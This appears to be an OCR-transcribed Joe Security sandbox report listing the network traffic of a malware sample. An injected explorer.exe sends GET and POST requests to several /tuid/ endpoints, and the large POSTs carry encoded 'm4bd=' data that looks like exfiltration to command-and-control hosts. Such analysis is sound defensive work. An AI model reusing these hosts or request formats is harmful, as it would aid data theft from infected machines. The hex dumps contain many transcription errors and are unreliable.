Transfer-Encoding: chunked

Connection: close

Cache-Control: max-age=3600

Expires: Mon, 08 Aug 2022 16:45:46 GMT

Location: https://www.receiveprim.online/tuid/

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/v3?s=xkPLAXs8x8e0KI2X4NowfqlFJIIMpxKe

Nc71Ae%2FzB84vvdTQkF2bgzGPqvKMACPI084d370ZCpUMWWoHGYI09vdUBybCg1ixXLFA2QjZazZzHyalexrdM7ZUw

pSEIKIQL90WYN9wWh%2FcTS"}],"group”:"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Vary: Accept-Encoding

Server: cloudflare

CF-RAY: 73796189dd3c9b5e-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

GET /tuid/?m4bd=5V7M8j5VuGkiy9NL3tlypAJy22VFPCeBH50h5nibDDbINvkaWpZ6bb8s5rlg19isjBzt&M8s=w
86DJpgx5FYIUfRP HTTP/1.1

Host: www.receiveprim.online

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Mon, 08 Aug 2022 15:45:46 GMT

Transfer-Encoding: chunked

Connection: close

Cache-Control: max-age=3600

Expires: Mon, 08 Aug 2022 16:45:46 GMT

Location: https://www.receiveprim.online/tuid/?m4bd=5V7M8j5VuGkiy9NL3tlypAJy22VFPCeBH50h5nibDDbINvka
WpZ6bb8s5rlg19isjBzt&M8s=w86DJIpgx5FYIUfRP

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.comV/report\/\v3?s=G9jkdrA42TexYPaloUxgzxkt6d1mRyMP
igBWn5rc72Gbulez9c85VuJ3bY8L4ncnEzqtXIRYaPlgyrk5aNjB2WffG1C2ljloe3E0eHdAZq9evXLT5K%2FQelW%
2BroOxYcvXoTZUtGGgynlIV"}],"group™:“cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 73796189ebe09ba0-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 30 0d Oa Od Oa

Data Ascii: 0

Destination IP  Destination Port Process

C:\Windows\explorer.exe

Data

GET /tuid/?M8s=w86DJpgx5FYIUfRP&m4bd=mghAatraeoVXXTplg6GKnKI23LbAAQF/82d900G2RtIsZLGICR2Wy
kimnzjjCp2pOvtb HTTP/1.1

Host: www.itsfindia.online

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp A Direction
Aug 8, 2022 1775 IN
17:45:58.410803080
CEST
Session ID Source IP Source Port
23 192.168.11.20 49790
kByt:
Timestamp yees Direction
transferred

Copyright Joe Security LLC 2022

Data

HTTP/1.1 301 Moved Permanently

Connection: close

content-type: text/html

content-length: 707

date: Mon, 08 Aug 2022 15:45:58 GMT

server: LiteSpeed

location: https://www.itsfindia.online/tuid/?M8s=w86DJpgx5F YIUfRP&m4bd=mghAatraeoVXXTplg6GKnKI23LbAA
QF/82d900G2Rt9sZLGICR2WykimnZjjCp2p0vtb

content-security-policy: upgrade-insecure-requests

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e Oa 3c 68 65 61 64 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6C 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e Oa 3c 74 69 74 6¢ 65 3e 20 33 30 31 20 4d 6f 76
65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 20 73 74
79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6¢ 20
3134 70 78 2f 32 30 70 78 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 2
068 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e Oa
3c 64 69 76 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30
25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65
72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6¢c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f
73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e Oa 20
2020 20 20 20 20 20 3c 68 31 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31
3530 70 78 3b 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f
6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e Oa 3c 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70
78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa
3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e
74 6¢ 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font:
normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-heig
ht:100%; ">  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">

<h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size:
30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Destination IP Destination Port Process
199.15.163.148 80 C:\Windows\explorer.exe
Data
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kBytes

Timestamp A Direction
Aug 8, 2022 1797 ouT
17:46:03.479437113

CEST

Copyright Joe Security LLC 2022

Data

POST /tuid/ HTTP/1.1

Host: www.svgjp.com

Connection: close

Content-Length: 174830

Cache-Control: no-cache

Origin: http://www.svgjp.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.svgjp.com/tuid/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 6d 34 62 64 3d 6d 32 64 49 47 55 7e 49 6¢ 46 6a 79 38 41 65 37 59 71 55 61 79 62 6f 6d 76 68 78 36 50 78
42 44 52 68 70 4e 44 54 63 51 31 48 75 5f 44 47 79 41 4f 57 49 51 77 75 6d 79 4e 44 36 61 42 41 7e 49 56 43 75 36 76
7970 6d 6a 54 75 58 7e 64 4e 30 78 78 7a 76 58 6¢ 51 64 4f 4d 62 36 43 71 43 43 67 41 71 72 70 73 4f 63 4d 62 50 37 4
e 3067 5049 36 4f 78 70 73 44 6b 7a 67 75 61 41 6e 6e 57 34 30 75 37 73 42 58 62 34 71 72 42 7e 5f 56 34 57 56 6f 38
6354 77 70 32 78 46 43 28 76 58 4a 7e 4e 35 63 66 35 62 57 6d 75 33 43 34 6¢ 68 33 72 5f 35 4d 4e 76 39 49 62 66 71
785850 5a 7054 77 5557 78 71 63 62 31 2d 71 42 42 68 51 50 56 6¢ 37 65 56 33 72 68 66 5a 5a 44 4d 37 70 45 75 76
64 72 6¢c 41 72 7a 6¢ 5f 77 48 68 52 5a 63 48 41 35 76 66 48 4b 67 64 78 4c 46 73 35 71 34 6b 44 35 30 4a 4d 57 6¢ 75
78 4a 5a 7e 33 6e 57 62 2d 52 62 4b 4f 70 58 48 47 31 59 55 6¢ 55 45 56 41 35 77 55 5f 4e 6d 73 7a 73 55 32 73 56 64
4d 44 30 37 79 79 70 30 6d 4d 34 61 4c 78 38 7a 52 32 32 41 6b 74 78 63 36 47 37 34 74 30 63 68 65 6f 28 48 37 43 70
76 4d 73 59 52 34 72 6d 53 4e 5f 77 66 75 46 32 4¢c 71 68 77 67 57 72 79 69 37 66 41 74 34 6¢ 7a 51 54 71 6b 74 44 4b
47 6a 74 70 7e 35 44 74 4e 4b 38 5a 73 2d 46 76 49 2d 28 6e 41 76 62 31 62 51 53 6a 49 50 35 6¢ 48 54 6e 4e 56 5a 46
70 31 6¢ 6a 44 43 36 69 73 50 33 6d 36 49 79 4b 6f 56 49 35 4f 30 56 49 78 48 57 7a 68 42 52 39 6e 4f 38 55 4e 63 75 49
633131517346 7357 7254 4862 78 6f 43 72 4¢c 72 71 4f 2d 66 33 79 48 45 68 70 64 4a 47 58 4c 35 4f 72 4b 68 64 34
7a 775159 714649 72 43 63 58 78 61 4d 38 65 32 47 79 32 4e 46 44 34 4b 6e 4d 68 6e 64 7a 33 6d 34 4e 6a 42 70 63
42 5f 43 Af 45 33 74 4f 70 4a 77 4e 74 73 6a 45 44 59 6a 4f 6d 63 31 64 72 52 5a 69 67 38 4c 6b 48 64 37 58 51 6b 78 30
6b 39 42 44 48 57 65 5f 33 68 30 31 63 42 47 62 77 57 6e 61 7e 2d 78 77 72 59 75 42 6e 54 57 61 58 64 7a 6¢c 73 4a 77
5a 4531 79 46 31 79 58 57 62 75 44 55 6a 71 52 38 78 6e 4b 54 68 73 7a 52 77 68 36 56 4a 72 5a 55 51 54 31 58 38 79
44 52 6d 35 73 36 78 5f 70 5a 63 63 65 63 54 70 46 69 72 50 39 76 34 7a 36 76 70 35 45 6b 53 43 5a 58 31 57 52 55 6f
6d 42 32 53 62 53 4d 4b 73 69 5f 30 36 6e 77 6b 6a 43 56 58 66 52 6d 67 68 36 6b 34 4e 49 6d 71 56 7a 48 73 37 5a 78
6a 55 32 7a 64 52 76 48 77 50 56 44 45 39 30 52 76 53 37 4a 59 53 58 6d 62 39 55 48 31 5a 76 33 59 31 6b 37 6¢ 6¢ 57
48 4c 32 4e 4d 36 74 57 65 4d 43 30 56 48 41 6f 32 59 74 71 61 52 36 42 63 76 38 37 71 47 33 4579 66 59 70 42 72 6¢
6¢ 30 36 67 38 35 73 6f 51 37 30 75 64 65 50 75 4a 77 4f 37 67 32 46 6¢ 73 4e 76 44 72 6e 5a 49 30 4e 7a 51 43 39 4e
68 58 54 36 42 31 4c 7a 49 49 64 47 6d 59 56 59 5a 39 32 77 34 75 57 55 37 6a 6a 7e 2d 30 2d 28 32 50 5f 6a 69 43 77
4a 55 6¢ 2d 77 6¢ 61 34 41 69 76 65 28 38 53 56 58 47 36 79 4a 5f 35 7a 6e 77 36 55 56 56 53 4e 64 51 53 5f 37 7a 63
59 6¢ 63 4a 72 55 76 4a 4d 62 30 58 44 36 51 38 4b 57 46 7e 5a 79 6a 28 6d 6a 66 35 5f 56 58 4d 33 38 53 7e 73 58 57
6b 75 6¢ 74 75 34 44 57 37 64 79 45 70 48 43 6¢ 43 4a 4a 4c 33 47 63 77 4d 50 65 4f 37 6d 65 5a 50 49 4b 6b 35 74 44
48 66 34 77 64 58 65 50 65 64 65 5a 44 31 37 67 39 6¢ 79 5a 5f 74 4f 7e 45 50 4e 58 4c 38 44 47 48 53 5a 43 2d 44 4d 7
065 63 49 52 65 6a 70 66 31 44 35 32 61 71 66 4d 47 69 4c 38 5a 44 4f 50 54 58 6¢ 4a 64 6e 6f 52 2d 42 6a 59 5a 53 39
56 43 6¢ 4b 4b 50 72 51 39 57 33 4¢ 66 33 4c 41 73 33 28 2d 66 79 75 77 51 72 65 74 54 4b 4e 61 4c 62 31 6a 7e 49 34
53 61 44 77 49 39 6d 61 6a 59 58 33 36 4f 39 43 30 4a 54 79 70 41 41 4d 44 52 31 42 65 41 75 6f 78 61 70 63 44 63 75
6a 74 54 6d 36 59 57 44 57 79 71 59 54 45 65 34 75 52 6b 41 46 38 39 6b 65 33 4a 53 71 30 65 79 28 78 76 6e 79 48 38
4b 77 4c 4a 6a 33 31 62 65 6b 31 30 46 32 58 4a 45 4b 39 77 30 50 61 57 75 6¢ 34 50 6b 6d 65 44 5a 7e 64 62 2d 4d 45
77 65 6d 75 46 4e 72 57 43 37 44 67 34 39 7a 63 28 71 7a 66 6f 34 31 32 6e 74 4d 46 43 33 4c 6¢ 37 4f 74 61 4c 6d 49
72 6d 6¢ 39 56 46 79 67 73 68 37 50 37 6d 67 65 38 57 64 62 63 4e 59 78 4c 68 54 4d 4d 4d 65 71 54 39 79 74 71 38 36
45 4e 6f 6f 28 75 31 48 58 36 54 78 72 51 72 7a 5a 30 59 67 43 73 65 4e 6e 56 7a 6a 4d 63 6e 6b 77 37 30 33

Data Ascii: m4bd=m2dIGU~IIFjy8Ae7YqUaybomvhx6PxBDZhpNDTcQ1Hu_DGyAOWIQwumyND6aBA~IVCu6vypmj
TuX~dNOxxzvXIQdOMb6CqCCgAqrpsOcMbP7N0OgP160xpsDkzguaAnnW40u7sBXb4qrB~_V4WVo8cTwp2xFC(vXJI~N5
cf5bWmu3C4lh3r_5MNv9IbfgxXPZpTwUWxqcb1-qBBhQPVI7eV3rhfZZDM7pEuvdrlArzl_ wHhRZcHASVfHKgdXLFs
504kD50IMWIuxJZ~3nWb-RbKOpXHG1YUIUEVASWU_NmszsU2sVdMDO07yypOmM4al.x8zR22Aktxc6G74t0cheo(H7Cp
VMsYR4rmSN_wfuF2LghwgWryi7fAt41zQTgktDKGjtp~5DtNK8Zs-Fvi-(nAvb1bQSjIPSIHTNNVZFp1ljDC6isP3m
6lyKoVI500VIXHWzhBRINO8UNculc11QsFsWrTHbxoCrLrqO-f8yHEhpdJGXL50rkKhd4zwQYqFIrCcXxaM8e2Gy2NF
D4KnMhndz3m4NjBpcB_COE3tOpJwNtsjEDYjOmc1drRZig8LkHd7XQkx0k9BDHWe_3h01cBGbhwWna~-xwrYuBnTWaX
dzlsIwZE1yF1yXWbuDUjgR8xnKThszRwh6VJIrZUQT1X8yDRmb5s6x_pZccecTpFirP9v4z6vp5EKSCZX1IWRUomB2ShS
MKsi_06nwkjCVXfRmgh6k4NImqVzHs7ZxjU2zdRvHWPVDE9ORVS7JYSXmbOUH1Zv3Y 1k7IIWHL2NM6tWeMCOVHA02Y
tgaR6Bcv87qG3EyfYpBrll06g85s0Q70udePulwO7g2FIsNvDrnZIONzZQCIONhXT6B1LzIIdGmYVYZ92w4uWU7jj~-0-
(2P_jiCwJUl-wladAive(8SVXG6YJ_5znwBUVVSNAQS_7zcYlcIrUvIMbOXDEQ8KWF~Zyj(mjf5_VXM38S~sXWkul
tu4DW7dyEpHCICJIIL3GcwMPeO7meZPIKK5tDHf4wdXePedeZD17g9lyZ_tO~EPNXL8DGHSZC-DMpeclRejpflD52aq
fMGiL8ZDOPTXIJdnoR-BjYZS9VCIKKPrQ9W3Lf3LAs3(-fyuwQretTKNalLb1j~14SaDwl9majYX3609C0JTypAAMDR
1BeAuoxapcDcujtTm6YWDWyqY TEe4uRkAF89ke3JSq0ey(xvnyH8KwLJj31bek10F2XJEK9wWOPaWul4PkmeDZ~db-M
EwemuFNrWC7Dg49zc(qzfo412ntMFC3LI7OtaLmirmI9VFygsh7P7mge8WdbcNYXLhTMMMeqT9ytq86ENoo(ULHX6T
xrQrzZ0YgCseNnVzjMcnkw7038QEJK11TILI-MXIOWQVLQipTINeeRLvc6alnuWIBS_isWAL4HYqcjgMNxmOxSnROLIQ-
Ja4dW1mcenCEp9WVEUOh1ix6WBFVYlhkovrzxwOmMTIEq3dypOf9QCPPI49ZKgtEMuL2uFwdNOKtgEHTHgEalhoO
bXXcckXtghvADZVXylj37w6Mez4mTZPkdxBvgtvb 7VUI2nStK(LC90e2Bhhhm~DE9Hp(F3kDANMYDLCAMBhCZzOAG|
dbhUUPQgAc3J5chQuUxx1jSks28sDILco4i8C07doA80ExkaiY4bpeol AZd3yU824VsU82X2GM5rwHYDs3cLG8SX3ft
yrvVUidOWnR7iDC-SfY-Gmas8DnHX4bhc8Kp4-7GkaWEOUcJbaTX2Ldt3NbaTg~1YI3DIW3rgAmU40eiH-Z3qEbUIBY
7010VVPpWMYA9nJ~HbcHHymbYj2a9c1W1zAfPJI9wSwW2iRnRkqyPfzZW0JH37GknwstoHDPIcWkvP~dCF5iyoRvbtEPuU
aKmhFht4W(yvkz3L2hBX4jqoUxke6TVrNhbgCBeyrmiF5(IVMHmjOnwPc2lbDlaeRiaxY PNg8mONEORFq6Sjw8d1dV
FXEjafcYTZALjdIgnQ8ESMmUIcYV4bZdGmV5uDbhGCFHU2nLgKqUzPh9dUhP8fVNXxZ30aCp4XQj7SUscr~vORZCSOm
su4zZXkPylIGPMebsHZB38jOUcrx7DjOelLj1D9EScevRptIIgCyR1edbofT4vlet6uHaFtzPCw2TJIUyxbbB~WM2G9k
7ecRu(mh9MfOuz4bg41dwllsRIBkZzvTAPEZ5x9AMSZdQ68CeBTIRIIKGUIKNQM51(_ WixhT20hTyARQPKkuF4WP2WF
SbRrlVA2F3Cf2AzytGDnPefsRs3kziWihZL4YAjVTh_OhRFXPx0d
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kBytes

Timestamp e Direction
Aug 8, 2022 1971 IN
17:46:04.288109064
CEST
Session ID Source IP Source Port
24 192.168.11.20 49791
kByt:
Timestamp yies Direction
transferred
Aug 8, 2022 1819 ouT
17:46:03.513808966
CEST
Session ID Source IP Source Port
25 192.168.11.20 49792
. kBytes . .
Timestamp e Direction

Copyright Joe Security LLC 2022

Data

HTTP/1.1 403 Forbidden

Date: Mon, 08 Aug 2022 15:46:04 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

X-Seen-By: W1c2/pgHBgplxcWufHCKILxkNjrXdwdgtu6EOyACibU=,sHU62EDOGnH2FBkJkG/Wx8EeXWsWdHrhlv
bxtlynkVjjsN8RUaOUKP Sj4npW0X3Y,m0j2EEKNGIVUW/IiY8BLLI77sBeKLtHVaXbFQUDNQYPu/2EjeiyKjB/JVOb8T5Ve
X-Wix-Request-ld: 1659973564.2325226518761515557

X-Content-Type-Options: nosniff

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20
46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html|>

Destination IP Destination Port Process
199.15.163.148 80 C:\Windows\explorer.exe
Data

GET /tuid/?m4bd=p0pyYx380zTi+CiqScB4rLgyoRdRZyFFdRM5Rh8HyCuUL1S9LIJi1IJnCbSa7CQi/RAeh&8pB=3
fY8ljB8rp-H HTTP/1.1

Host: www.svgjp.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

104.21.51.250 80 C:\Windows\explorer.exe
Data
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kBytes

Timestamp e Direction
Aug 8, 2022 1974 ouT
17:46:08.621334076

CEST

Copyright Joe Security LLC 2022

Data

POST /tuid/ HTTP/1.1

Host: www.147bronzeway.com

Connection: close

Content-Length: 174830

Cache-Control: no-cache

Origin: http://www.147bronzeway.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.147bronzeway.com/tuid/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 6d 34 62 64 3d 59 71 5a 44 37 32 5a 42 61 45 4f 51 38 76 64 58 55 64 32 6¢ 48 48 70 53 5a 33 35 59 34 33 44
6239 36 77 39 67 4f 33 65 72 4e 4e 33 71 71 69 42 4c 41 5a 41 51 4e 6b 78 64 72 59 52 48 67 52 63 42 34 4d 65 38 73
55 59 72 43 7a 6¢ 6f 68 4c 7a 6f 65 65 59 73 64 46 38 6f 57 78 66 37 45 78 76 76 31 59 6d 39 37 4d 4c 51 58 53 37 56
54 4e 44 39 61 69 5f 6a 45 66 57 50 31 32 47 31 68 74 68 34 6¢ 63 41 68 70 61 37 66 34 35 6d 78 70 70 74 35 35 45 2d
55 49 44 64 57 35 4e 6¢ 75 31 36 69 41 55 64 74 6b 68 68 6¢ 44 70 64 42 41 72 6b 4f 56 72 52 73 52 35 4a 68 43 79 64
30 42 6a 35 4a 42 69 55 69 58 66 4d 4a 6a 4c 76 4d 6d 6d 68 6a 66 33 4b 69 32 61 4e 70 70 35 56 34 78 64 56 4c 75 77
77 44 78 31 31 57 63 45 35 61 50 43 6e 4d 50 30 37 39 4b 76 45 30 59 66 61 56 74 59 6a 37 6f 4d 50 4f 76 54 7e 79 6b
52 67 65 4e 69 35 51 4d 38 4b 47 5a 39 66 5f 64 43 66 69 58 41 4b 41 47 64 69 49 6¢ 39 37 7a 64 34 54 6a 6e 6d 47 66
77 7a 4e 52 43 61 67 55 5a 74 37 32 28 49 6a 52 65 42 6f 47 69 32 71 4a 70 32 45 75 56 31 62 63 52 5a 68 61 37 42 74
6a 6e 48 74 39 56 64 78 47 73 6¢ 6d 43 6e 6¢ 67 4e 30 31 59 43 54 4e 65 41 74 59 33 4¢ 72 76 70 36 7a 36 44 59 56 42
6e 4d 49 76 52 53 6¢ 4a 6¢ 6d 69 44 68 42 30 30 49 56 4f 36 42 33 56 4a 4a 67 66 4e 6a 79 72 78 76 6e 69 34 41 78 57
5145 4d 28 66 31 58 64 36 74 51 65 45 4c 63 4e 44 73 30 56 4f 48 58 65 68 45 58 31 6f 77 31 39 4b 6b 53 6f 76 74 31 47
33 6f 69 61 6a 52 37 46 5a 54 56 74 6d 6d 32 78 58 31 50 56 61 35 39 48 34 42 4b 76 4c 39 66 5a 4e 66 63 46 71 50 68
49 5f 62 6f 46 69 65 36 71 6a 6a 54 53 55 48 39 51 58 32 78 28 58 6b 38 78 30 71 66 47 47 44 4b 75 46 74 32 6d 4f 28
5039 77 69 36 75 45 4c 63 39 41 38 4f 65 45 50 59 28 5a 52 34 7e 32 6d 59 30 52 49 4f 4c 68 6e 4d 77 6e 4f 69 79 72 79
76 55 73 30 49 4a 4b 4b 4b 4f 41 55 6d 63 35 4f 43 57 38 7a 57 78 3358 4d 7a 73 45 75 79 49 4c 45 4b 65 77 30 7e 6b 5
871334c 593344 4c 70 3255 74 44 6¢ 73 56 6¢ 6d 79 43 66 48 37 67 4b 74 4c 6f 41 37 55 56 30 78 75 51 6e 4f 35 50
73 4d 64 52 6e 65 6b 48 67 30 35 67 61 37 53 47 69 4c 31 6f 33 63 44 42 76 6b 42 4b 73 4b 63 78 44 6d 4d 32 71 4a 56
44 62 35 7551 4c 34 67 41 6a 51 37 5a 64 44 68 52 51 78 76 70 34 66 67 7a 41 30 4b 52 4f 70 48 38 28 4b 44 69 74 64
706c 37317656 74 77 72 41 58 62 47 56 48 41 76 53 4d 46 61 30 28 34 4e 5a 7a 4d 63 64 39 73 4a 41 68 39 63 73 66
6e 47 62 6d 7a 44 59 57 33 78 44 61 31 65 67 6e 48 65 66 72 6b 6a 56 5a 70 64 48 28 74 59 62 56 68 78 33 4f 67 36 78
61 49 35 4a 6b 34 48 46 76 6e 4e 68 6a 68 4f 62 28 76 58 6a 33 68 34 59 73 31 70 55 50 67 69 76 55 35 4e 43 35 65 5a
64 37 7a 37 71 54 51 66 6¢ 73 54 65 46 7a 57 42 39 76 2d 6f 51 34 55 35 32 68 35 75 5a 38 6b 62 4d 4a 71 50 65 49 55
79 5f 78 6d 68 47 52 64 68 4c 74 67 7a 2d 71 68 43 4b 74 75 30 44 59 6b 67 35 74 61 70 68 41 57 43 6d 70 54 48 4b 59
7364 73 64 6b 33 55 76 6¢ 31 5f 4b 30 53 4e 6¢ 56 49 37 73 36 28 65 66 55 56 6f 66 43 58 77 4b 61 4e 75 4e 34 43 34
79 4d 4a 67 7a 68 48 66 4b 58 71 32 64 63 47 6e 39 44 35 67 38 41 6d 30 63 30 41 6d 5a 44 53 71 75 76 6d 41 77 5f 6b
Af 4e 72 47 52 4e 33 73 6¢ 28 42 75 2d 7e 59 32 6¢ 56 57 43 72 73 2d 67 55 64 34 62 43 67 72 31 53 51 52 59 36 55 56
79 75 78 76 42 6b 4a 64 55 74 59 35 4d 6d 4f 68 5a 73 6f 2d 38 6e 73 32 74 39 4c 65 37 6e 49 69 4e 64 6e 57 43 64 72
72 59 6¢ 31 6¢ 4b 32 71 34 53 70 6¢ 4c 79 66 41 68 37 4b 61 57 77 59 31 45 6¢ 72 38 38 67 72 63 59 67 74 38 64 49 4d
72 4e 56 5f 74 47 41 56 4f 46 41 77 30 74 4d 74 36 70 49 73 6¢ 50 65 30 4d 5a 5a 36 68 64 70 4c 53 35 6a 4c 43 7a 46
7a 76 31 61 5f 4f 6b 33 46 53 44 53 75 70 75 6f 44 68 66 7a 69 35 55 5a 5f 28 54 7a 53 32 79 71 59 61 53 71 4f 32 32 63
3232 70 41 6d 6¢ 63 4a 4f 46 53 74 36 33 42 7a 42 28 45 63 67 66 32 79 71 66 78 71 4b 68 30 4b 39 61 66 55 33 31 67
62 51 59 57 36 6d 4b 5a 6d 39 34 36 47 75 42 48 53 76 65 50 34 77 73 69 74 51 45 41 68 77 6f 75 76 53 4a 38 68 67 4f
48 3358 4c 62 72 41 63 2d 48 32 61 78 33 61 68 32 41 69 75 4d 38 34 77 38 42 6e 52 63 73 73 53 62 72 6¢ 45 6a 6e 44
53 77 4e 44 6f 68 52 38 32 77 54 65 30 41 66 6d 6b 43 71 6¢ 70 72 61 70 53 30 47 5a 34 46 37 39 47 46 61 57

Data Ascii: m4bd=YqzZD72ZBaEOQ8vdXUd2IHHpSZ35Y43Db96w9gO3erNN3qqiBLAZAQNkxdrYRHgRcB4Me8sUYr
CzlohLzoeeYsdF8oWxf7Exvv1Ym97MLQXS7VTNDai_jEfWP12G1hth4lcAhpa7f45mxppt55E-UIDdW5NIu16iAUd
tkhhIDpdBArkOVrRsR5JhCyd0Bj5JBiUiXfMJjLvMmmhjf3Ki2aNpp5V4xdVLuwwDx11WcE5aPCnMP079KVEQYfaVt
Yj7oMPOVT~ykRgeNi5QM8KGZ9f_dCfiXAKAGUill97zd4TjnmGfwzNRCagUZt72(ljReBoGi2qJp2EuV1bcRZha7Bt
JNHtVdxGsImCnlgNO1YCTNeAtY3Lrvp6z6DYVBnMIVRSIIImiDhBOOIVO6B3VJJgiNjyrxvnidAXWQEM(f1Xd6tQe
ELcNDsOVOHXehEX1ow19KkSovt1G30iajR7FZTVtmm2xX1PVa59H4BKvLIfZNfcFgPhl_boFie6qgjjTSUHIQX2x(Xk
8x0qfGGDKuUFt2mO(P9WiBUELCIABOEEPY (ZR4~2mYORIOLhnMwnOiyryvUsOIJKKKOAUmMc50CW8zWx3XMzsEuyILEK
ew0~kXqg3LY3DLp2UtDIsVImyCfH7gKtLoA7UVOxuQnO5PsMdRnekHg05ga7SGil 103cDBVkBKsKcxDmM2gJVDb5uQL
4gAjQ7ZdDhRQxvp4fgzAOKROpH8(KDitdpl71vViwrAXbGVHAVSMFa0(4NZzMcd9sJAh9csfnGbmzDYW3xDalegnHe
frkjVZpdH(tYbVhx30g6xal5Jk4HFvnNhjhOb(vXj3h4Ys1pUPgivUSNC5eZd7z7qTQflsTeFzZWB9v-0Q4U52h5uZ8
kbMJgPelUy_xmhGRdhLtgz-ghCKtuODYkg5taphAWCmpTHKYsdsdk3UvI1_KOSNIVI7s6(efUVofCXwKaNuN4C4yMJ
gzhHfKXg2dcGn9D5g8AMOcOAMZDSquvmAw_kONrGRN3sl(Bu-~Y2IVWCrs-gUd4bCgriSQRY6UVyuxvBkJdUtY5MmO
hZso-8ns2t9Le7nliNdnWCdrrYI1IK2g4SplLyfAh7KawwY 1EIr88grcYgt8dIMrNV_tGAVOFAWOtMt6plsIPeOMZZ6hdpLS5jLC
